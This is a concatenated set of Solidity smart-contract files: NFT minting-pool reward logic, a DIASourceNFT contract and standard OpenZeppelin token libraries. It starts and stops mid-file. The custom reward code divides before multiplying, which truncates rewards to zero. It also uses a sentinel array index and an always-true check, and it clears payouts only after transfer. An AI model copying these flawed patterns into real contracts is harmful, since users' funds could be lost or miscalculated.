function claimMintingPoolReward(uint256 rank) public {
address claimer = msg.sender;
require(balanceOf(claimer, getErcRank(rank)) > 0);
uint256 reward = getRewardAmount(rank);
// transfer reward to claimer
require(ERC20(paymentToken).transferFrom(mintingPool, claimer, reward));
lastClaimPayout[rank] = Math.max(NUM_PRIVILEGED_RANKS, numMintedNFTs);
emit ClaimedMintingPoolReward(rank, claimer);
}
function getRewardAmount(uint256 rank) public view returns (uint) {
require(!genesisPhase);
//0. get maxNumMinted & numMintedLastClaim
uint256 maxNumMinted = Math.max(NUM_PRIVILEGED_RANKS, numMintedNFTs);
uint256 numMintedLastClaim = lastClaimPayout[rank];
// 1. Calculate reward from beginning
// Never get tetraeder(0), because that is 0 and we don't want to give no reward
uint256 ownRawWeight = getTetraederNumber(maxNumMinted - rank);
// Adjust for ranking system in ranks 1-10
if (rank == 1 || rank == 2) {
ownRawWeight = (getTetraederNumber(maxNumMinted - 1) + getTetraederNumber(maxNumMinted - 2)) / 2;
} else if (rank == 3 || rank == 4 || rank == 5) {
ownRawWeight = (getTetraederNumber(maxNumMinted - 3) + getTetraederNumber(maxNumMinted - 4) + getTetraederNumber(maxNumMinted - 5)) / 3;
} else if (rank == 6 || rank == 7 || rank == 8 || rank == 9) {
ownRawWeight = (getTetraederNumber(maxNumMinted - 6) + getTetraederNumber(maxNumMinted - 7) + getTetraederNumber(maxNumMinted - 8) + getTetraederNumber(maxNumMinted - 9)) / 4;
}
uint256 sumAllWeights = 0;
for (uint256 i = 0; i < maxNumMinted; i++) {
sumAllWeights += getTetraederNumber(i);
}
uint256 rawClaim = getPoolAmountAtMint(maxNumMinted) * (ownRawWeight / sumAllWeights);
// 2. Calculate reward already paid out
uint256 ownRawWeightLastClaim = getTetraederNumber(numMintedLastClaim - rank);
uint256 sumAllWeightsLastClaim = 0;
for (uint256 i = 0; i < numMintedLastClaim; i++) {
sumAllWeightsLastClaim += getTetraederNumber(i);
}
uint256 rawClaimLastClaim = getPoolAmountAtMint(numMintedLastClaim) * (ownRawWeightLastClaim / sumAllWeightsLastClaim);
return rawClaim - rawClaimLastClaim;
}
// Returns the n-th tetraeder number
function getTetraederNumber(uint256 n) internal pure returns (uint) {
return (n * (n + 1) * (n + 2))/ 6;
}
// Returns the amount of tokens in the minting pool after the n-th minting
function getPoolAmountAtMint(uint256 n) internal view returns (uint) {
return mintingPoolAmount * n;
}
function getMintedNFTs() external view returns (uint) {
return numMintedNFTs;
}
function getErcRank(uint256 internalRank) public pure returns (uint256) {
// Translate rank to ERC1155 ID "rank" info
uint256 ercRank = 0;
if (internalRank == 0) { ercRank = 0; }
else if (internalRank == 1 || internalRank == 2) { ercRank = 1; }
else if (internalRank == 3 || internalRank == 4 || internalRank == 5) { ercRank = 2; }
else if (internalRank == 6 || internalRank == 7 || internalRank == 8 || internalRank == 9) { ercRank = 3; }
else { ercRank = 4; }
return ercRank;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC1155.sol";
import "./IERC1155Receiver.sol";
import "./extensions/IERC1155MetadataURI.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of the basic standard multi-token.
* See https://eips.ethereum.org/EIPS/eip-1155
* Originally based on code by Enjin: https://github.com/enjin/erc-1155
*
* _Available since v3.1._
*/
contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI {
using Address for address;
// Mapping from token ID to account balances
mapping (uint256 => mapping(address => uint256)) private _balances;
// Mapping from account to operator approvals
mapping (address => mapping(address => bool)) private _operatorApprovals;
// Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json
string private _uri;
/**
* @dev See {_setURI}.
*/
constructor (string memory uri_) {
_setURI(uri_);
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return interfaceId == type(IERC1155).interfaceId
|| interfaceId == type(IERC1155MetadataURI).interfaceId
|| super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC1155MetadataURI-uri}.
*
* This implementation returns the same URI for *all* token types. It relies
* on the token type ID substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* Clients calling this function must replace the `\{id\}` substring with the
* actual token type ID.
*/
function uri(uint256) public view virtual override returns (string memory) {
return _uri;
}
/**
* @dev See {IERC1155-balanceOf}.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {
require(account != address(0), "ERC1155: balance query for the zero address");
return _balances[id][account];
}
/**
* @dev See {IERC1155-balanceOfBatch}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(
address[] memory accounts,
uint256[] memory ids
)
public
view
virtual
override
returns (uint256[] memory)
{
require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch");
uint256[] memory batchBalances = new uint256[](accounts.length);
for (uint256 i = 0; i < accounts.length; ++i) {
batchBalances[i] = balanceOf(accounts[i], ids[i]);
}
return batchBalances;
}
/**
* @dev See {IERC1155-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(_msgSender() != operator, "ERC1155: setting approval status for self");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC1155-isApprovedForAll}.
*/
function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {
return _operatorApprovals[account][operator];
}
/**
* @dev See {IERC1155-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
)
public
virtual
override
{
require(to != address(0), "ERC1155: transfer to the zero address");
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: caller is not owner nor approved"
);
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data);
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
_balances[id][from] = fromBalance - amount;
_balances[id][to] += amount;
emit TransferSingle(operator, from, to, id, amount);
_doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);
}
/**
* @dev See {IERC1155-safeBatchTransferFrom}.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
)
public
virtual
override
{
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
require(to != address(0), "ERC1155: transfer to the zero address");
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: transfer caller is not owner nor approved"
);
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; ++i) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
_balances[id][from] = fromBalance - amount;
_balances[id][to] += amount;
}
emit TransferBatch(operator, from, to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);
}
/**
* @dev Sets a new URI for all token types, by relying on the token type ID
* substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* By this mechanism, any occurrence of the `\{id\}` substring in either the
* URI or any of the amounts in the JSON file at said URI will be replaced by
* clients with the token type ID.
*
* For example, the `https://token-cdn-domain/\{id\}.json` URI would be
* interpreted by clients as
* `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json`
* for token type ID 0x4cce0.
*
* See {uri}.
*
* Because these URIs cannot be meaningfully represented by the {URI} event,
* this function emits no events.
*/
function _setURI(string memory newuri) internal virtual {
_uri = newuri;
}
/**
* @dev Creates `amount` tokens of token type `id`, and assigns them to `account`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _mint(address account, uint256 id, uint256 amount, bytes memory data) internal virtual {
require(account != address(0), "ERC1155: mint to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data);
_balances[id][account] += amount;
emit TransferSingle(operator, address(0), account, id, amount);
_doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _mintBatch(address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, ids, amounts, data);
for (uint i = 0; i < ids.length; i++) {
_balances[ids[i]][to] += amounts[i];
}
emit TransferBatch(operator, address(0), to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);
}
/**
* @dev Destroys `amount` tokens of token type `id` from `account`
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens of token type `id`.
*/
function _burn(address account, uint256 id, uint256 amount) internal virtual {
require(account != address(0), "ERC1155: burn from the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), "");
uint256 accountBalance = _balances[id][account];
require(accountBalance >= amount, "ERC1155: burn amount exceeds balance");
_balances[id][account] = accountBalance - amount;
emit TransferSingle(operator, account, address(0), id, amount);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
*/
function _burnBatch(address account, uint256[] memory ids, uint256[] memory amounts) internal virtual {
require(account != address(0), "ERC1155: burn from the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, account, address(0), ids, amounts, "");
for (uint i = 0; i < ids.length; i++) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 accountBalance = _balances[id][account];
require(accountBalance >= amount, "ERC1155: burn amount exceeds balance");
_balances[id][account] = accountBalance - amount;
}
emit TransferBatch(operator, account, address(0), ids, amounts);
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning, as well as batched variants.
*
* The same hook is called on both single and batched variants. For single
* transfers, the length of the `id` and `amount` arrays will be 1.
*
* Calling conditions (for each `id` and `amount` pair):
*
* - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* of token type `id` will be transferred to `to`.
* - When `from` is zero, `amount` tokens of token type `id` will be minted
* for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens of token type `id`
* will be burned.
* - `from` and `to` are never both zero.
* - `ids` and `amounts` have the same, non-zero length.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
)
internal
virtual
{ }
function _doSafeTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
)
private
{
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {
if (response != IERC1155Receiver(to).onERC1155Received.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _doSafeBatchTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
)
private
{
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (bytes4 response) {
if (response != IERC1155Receiver(to).onERC1155BatchReceived.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {
uint256[] memory array = new uint256[](1);
array[0] = element;
return array;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC20.sol";
import "./extensions/IERC20Metadata.sol";
import "../../utils/Context.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract DIASourceNFT is Ownable, ERC1155 {
address public paymentToken;
mapping (address => bool) public dataNFTContractAddresses;
struct SourceNFTMetadata {
uint256 claimablePayout;
bool exists;
address admin;
uint256[] parentIds;
uint256[] parentPayoutShares;
uint256 payoutShare;
uint256 sourcePoolAmount;
}
mapping (uint256 => SourceNFTMetadata) public sourceNfts;
constructor(address newOwner) ERC1155("https://api.diadata.org/v1/nft/source_{id}.json") {
transferOwnership(newOwner);
}
function getSourcePoolAmount(uint256 sourceNftId) external view returns (uint256) {
return sourceNfts[sourceNftId].sourcePoolAmount;
}
function setSourcePoolAmount(uint256 sourceNftId, uint256 newAmount) external {
require(sourceNfts[sourceNftId].admin == msg.sender, "Source Pool Amount can only be set by the sART admin");
sourceNfts[sourceNftId].sourcePoolAmount = newAmount;
}
function addDataNFTContractAddress(address newAddress) onlyOwner external {
require(newAddress != address(0), "New address is 0.");
dataNFTContractAddresses[newAddress] = true;
}
function removeDataNFTContractAddress(address oldAddress) onlyOwner external {
require(oldAddress != address(0), "Removed address is 0.");
dataNFTContractAddresses[oldAddress] = false;
}
function updateAdmin(uint256 sourceNftId, address newAdmin) external {
require(sourceNfts[sourceNftId].admin == msg.sender);
sourceNfts[sourceNftId].admin = newAdmin;
}
function addParent(uint256 sourceNftId, uint256 parentId, uint256 payoutShare) external {
require(sourceNfts[sourceNftId].admin == msg.sender);
require(sourceNfts[sourceNftId].payoutShare >= payoutShare);
require(sourceNfts[parentId].exists, "Parent NFT does not exist!");
sourceNfts[sourceNftId].payoutShare -= payoutShare;
sourceNfts[sourceNftId].parentPayoutShares.push(payoutShare);
sourceNfts[sourceNftId].parentIds.push(parentId);
}
function updateParentPayoutShare(uint256 sourceNftId, uint256 parentId, uint256 newPayoutShare) external {
require(sourceNfts[sourceNftId].admin == msg.sender);
uint256 arrayIndex = (2**256) - 1;
// find parent ID in payout shares
for (uint256 i = 0; i < sourceNfts[sourceNftId].parentPayoutShares.length; i++) {
if (sourceNfts[sourceNftId].parentIds[i] == parentId) {
arrayIndex = i;
break;
}
}
uint256 payoutDelta;
// Check if we can distribute enough payout shares
if (newPayoutShare >= sourceNfts[sourceNftId].parentPayoutShares[arrayIndex]) {
payoutDelta = newPayoutShare - sourceNfts[sourceNftId].parentPayoutShares[arrayIndex];
require(sourceNfts[sourceNftId].payoutShare >= payoutDelta, "Error: Not enough shares left to increase payout!");
sourceNfts[sourceNftId].payoutShare -= payoutDelta;
sourceNfts[sourceNftId].parentPayoutShares[arrayIndex] += payoutDelta;
} else {
payoutDelta = sourceNfts[sourceNftId].parentPayoutShares[arrayIndex] - newPayoutShare;
require(sourceNfts[sourceNftId].parentPayoutShares[arrayIndex] >= payoutDelta, "Error: Not enough shares left to decrease payout!");
sourceNfts[sourceNftId].payoutShare += payoutDelta;
sourceNfts[sourceNftId].parentPayoutShares[arrayIndex] -= payoutDelta;
}
}
function generateSourceToken(uint256 sourceNftId, address receiver) external onlyOwner {
sourceNfts[sourceNftId].exists = true;
sourceNfts[sourceNftId].admin = msg.sender;
sourceNfts[sourceNftId].payoutShare = 10000;
_mint(receiver, sourceNftId, 1, "");
}
function notifyDataNFTMint(uint256 sourceNftId) external {
require(dataNFTContractAddresses[msg.sender], "notifyDataNFTMint: Only data NFT contracts can be used to mint data NFTs");
require(sourceNfts[sourceNftId].exists, "notifyDataNFTMint: Source NFT does not exist!");
for (uint256 i = 0; i < sourceNfts[sourceNftId].parentIds.length; i++) {
uint256 currentParentId = sourceNfts[sourceNftId].parentIds[i];
sourceNfts[currentParentId].claimablePayout += (sourceNfts[sourceNftId].parentPayoutShares[i] * sourceNfts[sourceNftId].sourcePoolAmount) / 10000;
}
sourceNfts[sourceNftId].claimablePayout += (sourceNfts[sourceNftId].payoutShare * sourceNfts[sourceNftId].sourcePoolAmount) / 10000;
}
function claimRewards(uint256 sourceNftId) external {
address claimer = msg.sender;
require(sourceNfts[sourceNftId].admin == claimer);
uint256 payoutDataTokens = sourceNfts[sourceNftId].claimablePayout;
require(ERC20(paymentToken).transfer(claimer, payoutDataTokens), "Token transfer failed.");
sourceNfts[sourceNftId].claimablePayout = 0;
}
}
pragma solidity 0.8.0;
library Strings {
function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
if (_i == 0) {
return "0";
}
uint j = _i;
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len;
while (_i != 0) {
k = k-1;
uint8 temp = (48 + uint8(_i - _i / 10 * 10));
bytes1 b1 = bytes1(temp);
bstr[k] = b1;
_i /= 10;
}
return string(bstr);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC1155 compliant contract, as defined in the
* https://eips.ethereum.org/EIPS/eip-1155[EIP].
*
* _Available since v3.1._
*/
interface IERC1155 is IERC165 {
/**
* @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.
*/
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
/**
* @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all
* transfers.
*/
event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values);
/**
* @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to
* `approved`.
*/
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
/**
* @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.
*
* If an {URI} event was emitted for `id`, the standard
* https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value
* returned by {IERC1155MetadataURI-uri}.
*/
event URI(string value, uint256 indexed id);
/**
* @dev Returns the amount of tokens of token type `id` owned by `account`.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) external view returns (uint256);
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory);
/**
* @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,
*
* Emits an {ApprovalForAll} event.
*
* Requirements:
*
* - `operator` cannot be the caller.
*/
function setApprovalForAll(address operator, bool approved) external;
/**
* @dev Returns true if `operator` is approved to transfer ``account``'s tokens.
*
* See {setApprovalForAll}.
*/
function isApprovedForAll(address account, address operator) external view returns (bool);
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external;
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev _Available since v3.1._
*/
interface IERC1155Receiver is IERC165 {
/**
@dev Handles the receipt of a single ERC1155 token type. This function is
called at the end of a `safeTransferFrom` after the balance has been updated.
To accept the transfer, this must return
`bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
(i.e. 0xf23a6e61, or its own function selector).
@param operator The address which initiated the transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param id The ID of the token being transferred
@param value The amount of tokens being transferred
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed
*/
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
)
external
returns(bytes4);
/**
@dev Handles the receipt of a multiple ERC1155 token types. This function
is called at the end of a `safeBatchTransferFrom` after the balances have
been updated. To accept the transfer(s), this must return
`bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
(i.e. 0xbc197c81, or its own function selector).
@param operator The address which initiated the batch transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param ids An array containing ids of each token being transferred (order and length must match values array)
@param values An array containing amounts of each token being transferred (order and length must match ids array)
@param data Additional data with no specified format
